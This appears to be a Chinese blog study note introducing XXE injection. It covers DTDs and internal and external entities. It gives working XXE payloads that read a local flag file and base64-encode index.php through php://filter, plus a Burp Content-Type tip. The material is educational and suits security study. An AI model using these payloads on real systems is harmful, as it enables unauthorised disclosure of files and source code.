XXE(1)
XXE簡介
XXE:全稱XML External Entity Injection,即XML外部實體注入漏洞
知識點
1、XML
2、DTD,這個是最重要的
簡介:
(1)內(nèi)部的 DOCTYPE 聲明
(2)外部文檔聲明
假如 DTD 位于 XML 源文件的外部,那么它應(yīng)通過下面的語法被封裝在一個 DOCTYPE 定義中: <!DOCTYPE 根元素 SYSTEM "文件名"><?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> 這是包含 DTD 的 "note.dtd" 文件: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>下面的實體在 XML 中被預(yù)定義: 實體引用 字符 < < > > & & " " ' '在 DTD 中,XML 元素通過元素聲明來進行聲明。元素聲明使用下面的語法: <!ELEMENT 元素名稱 類別> 或者 <!ELEMENT 元素名稱 (元素內(nèi)容)>(3)XXE利用重點:實體
(3)-1:簡介
實體是用于定義引用普通文本或特殊字符的快捷方式的變量。
實體引用是對實體的引用。
實體可在內(nèi)部或外部進行聲明。
(3)-2:一個內(nèi)部實體聲明
語法: <!ENTITY 實體名稱 "實體的值">例子: DTD 例子: <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn">XML 例子: <author>&writer;©right;</author>注釋: 一個實體由三部分構(gòu)成: 一個和號 (&), 一個實體名稱, 以及一個分號 (;)。(3)-3:一個外部實體聲明
語法: <!ENTITY 實體名稱 SYSTEM "URI/URL">例子: DTD 例子: <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">XML 例子: <author>&writer;©right;</author>(3)-4:補充
帶有任何內(nèi)容的元素
通過類別關(guān)鍵詞 ANY 聲明的元素,可包含任何可解析數(shù)據(jù)的組合:
外部實體注入舉例
有回顯讀取本地文件
漏洞代碼:
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ //foo名稱隨意<!ENTITY xxe SYSTEM "file:///F:/flag.txt" > //xxe名稱隨意]> <root> //xml根元素名稱隨意,但必須要有(在當(dāng)前漏洞源碼環(huán)境下) <user>&xxe;</user> //xxe名稱和上面的名稱對應(yīng),在這里xml中的子元素user和漏洞源碼中的對應(yīng),不可修改為其它 </root>有些文件中有<、>等實體,若直接用file讀取會導(dǎo)致解析錯誤,此時可以利用php://filter將內(nèi)容轉(zhuǎn)換為base64后再讀取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <root><user>&file;</user> </root>特別注意:
實體名稱命名不能以數(shù)字開頭,例如上面的xxx 使用bp時,需要添加Content-Type: application/xml payload中xml的根元素 xml形式的數(shù)據(jù)傳輸e.g:<user>admin</user>淺顯地了解了xxe,后續(xù)再深入研究。
總結(jié)
- 上一篇: 道士能结婚生孩子吗
- 下一篇: 形容家庭幸福的句子100个